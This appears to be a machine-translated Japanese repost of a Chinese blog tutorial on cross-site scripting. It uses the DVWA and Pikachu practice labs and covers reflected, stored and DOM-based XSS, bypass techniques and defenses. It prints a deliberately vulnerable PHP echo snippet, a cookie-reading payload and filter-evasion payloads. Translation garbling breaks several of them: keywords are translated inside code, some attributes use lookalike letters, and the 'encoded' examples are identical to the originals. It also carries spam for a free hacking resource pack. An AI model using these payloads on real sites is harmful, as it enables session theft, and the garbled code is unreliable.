ネットワーク セキュリティ - XSS の原則、攻撃と防御

序章

クロスサイト スクリプティング攻撃(CSS (Cascading Style Sheet) と区別するため、正式名称はクロス サイト スクリプティング、 XSSと呼ばれます) は、悪意のある攻撃者が悪意のある JavaScript コード (HTML コードを含む場合もあります) をWeb ページに挿入することを指します。 Web に埋め込まれた JavaScript コードが実行され、ユーザーを悪意的に攻撃する目的が達成されます。XSS はクライアントに対する攻撃であり、最終的な被害者はユーザーであり、Web サイト管理者も当然ユーザーの一人です。

XSS 脆弱性は通常、php 出力関数を通じて JavaScript コードを HTML ページに出力し、ユーザーのローカル ブラウザを通じて実行します。そのため、xss 脆弱性に対する鍵は、フィルタリングされていないパラメータを持つ出力関数を見つけることです

php の一般的な出力関数は次のとおりです。

  • echo
  • printf
  • print
  • print_r
  • sprintf
  • die
  • var-dump
  • var_export

使用したツール

Google 制作: オープンソース Web アプリの脆弱性テスト環境: 射撃場

靶机:dvwa、pikachu

XSS の種類

反射型 XSS/非永続型 XSS

エコー機能が選択され、フィルタリングせずに直接出力されます。

input.php

<?php 
$input = $_GET['input'];
echo 'output:<br>'.$input;
?> 

入力が直接出力されることがわかります。では、パラメータが JavaScript コードの場合はどうなるでしょうか?

<script>alert('xss attack by lady_killer9')</script>

つまり、フィッシング Web サイトへのジャンプなど、js で実行できることはすべてここに挿入して実現できます。

 射撃場の HTML 本文の反射 XSS

以下はdvwaでの表示です

[1>すべてのリソースを入手するには、ここをクリックしてください<1]
1. もう入手できない絶版の電子書籍の多く
2. 大手セキュリティ会社の社内トレーニング資料
3. ツールキットのフルセット
4. src ソース コードの技術文書
5. ネットワーク セキュリティの基礎 入門、Linux、Web セキュリティ、攻撃と防御のビデオ
6、緊急対応メモ 7、ネットワーク セキュリティ学習ルート
8、ctf キャプチャ ザ フラグ分析
9、WEB セキュリティ エントリ メモ 

保存型 XSS/永続型 XSS

反射型 XSS の即時応答と比較して、保存型 XSS は最初にコードをデータベースまたはファイルに保存する必要があり、次回読み込まれたときにも表示されますが、ユーザー入力がフィルタリングされないという利用上の問題が依然としてあります対象マシンピカチュウのストレージタイプxssを使用します。

<script>alert(document.cookie)</script>

 

DOMベースのXSS

ドキュメント オブジェクト モデル (Document Object Model、DOM) に基づく脆弱性。クライアント スクリプトは、DOM を通じてページのコンテンツを動的に変更できます。サーバーへのデータの送信に依存せず、クライアントから DOM 内のデータを取得し、ローカルで実行します。DOM 内のデータが厳密に確認されていない場合、 DOM タイプが生成されます XSS の脆弱性。

HTML DOM はデータ構造内のツリーのようなもので、ルート ノード、リーフ ノードなどがドキュメント オブジェクトを通じて書き込まれます。

F12 を使用して、入力ボックスの内容と ID テキストが表示されていることを確認します。一重引用符を閉じるだけで、F12 キーを押すと直接表示されます。

プロンプトは次のとおりです

'onclick="alert('lady_killer9')">

 使っています

'onclick='alert('lady_killer9')

一般的なペイロードとツール

XSSスキャンツール

 ツールはそれほど多くないので、1 つだけ学習してください

ペイロード

スクリプトタグクラス

フィルタリングを行わない非常に単純な XSS 脆弱性の場合は、次のように使用できます。

<script>アラート(“XSS”)</script>

場合によっては、スクリプトが除外され、大文字化、二重書き込みなどが回避できず、次のペイロードが使用されることがあります。

HTMLタグとjsを組み合わせたもの

onclick、onerror、その他のイベントと組み合わせることができます

<IMG οnmοuseοver="alert('xxs')">

<img src=xss エラーr=alert(1)>

疑似合意

上記のいずれも機能しない場合は、疑似プロトコルを試すことができます

<IFRAME SRC="javascript:alert(1);"></IFRAME>

<IMG DYNSRC="javascript:javascript:alert(1)">

バイパス

ケースバイパス

<scRipt>アラート(「XSS」)</scRipt>

二重書き込みバイパス

<scrscriptipt>アラート(「XSS」)</scrscriptipt>

HTMLエンコードのバイパス

<script>アラート(“XSS”)</script>

に相当

 <script>アラート("XSS")</script>

<a href=javascript:alert(2)>a</a>

に相当

<a href=javascript:alert(2)>a</a>

ラベル優先度バイパス

<noscript> タグは <img> タグよりも解析の優先順位が高いため、</noscript> が最初に閉じられ、<img> タグがエスケープされ、結果として xss が実行されます。

<noscript><img src="asdasd</noscript><img src=* οnerrοr=prompt(1)>"></noscript>

危害

  1. ユーザーの Cookie が取得されます。これにはセッション ID などの機密情報が含まれる場合があります。サーバー側に対応する保護がない場合、攻撃者は対応する Cookie を使用してサーバーにログインする可能性があります。
  2. 攻撃者は、一定の制限内でユーザーのキーストロークを記録できます。
  3. 攻撃者はCSRFなどの手法を用いてユーザーとして危険な操作を実行します。
  4. XSS ワーム。
  5. ユーザーのブラウザ情報を取得します。
  6. XSS の脆弱性を使用してユーザーのイントラネットをスキャンします。

防衛

  • ラベルフィルター
  • イベントフィルタリング
  • 機密文字フィルタリング
  • httponly を設定して Cookie を取得しないようにします。
  • コンテンツ セキュリティ ポリシー (CSP)
  • HTML エンティティが HTML タグの間に挿入されると信頼できないデータをエンコードする
  • 信頼できないデータを HTML 属性に挿入するときに HTML 属性でエンコードする
  • 信頼できないデータを SCRIPT に挿入すると、SCRIPT はデータをエンコードします
  • 信頼できないデータをスタイル属性に挿入するときに CSS がエンコードする

もちろん、フィルタリングが不完全な場合や CSP 構成が間違っている場合は、バイパスされる可能性もあります。

最後に、いくつかの学習資料とチュートリアルを整理しました。このオンライン セキュリティ学習資料の完全版がアップロードされました。必要な場合は、WeChat で以下の CSDN 公式認定 QR コードをスキャンするか、リンクをクリックして取得できますそれは無料です[100%無料保証]

CSDN のスプリー: 「ハッカーとネットワーク セキュリティの入門と高度な学習リソース パック」が無料

おすすめ

転載: blog.csdn.net/msb_114/article/details/131033101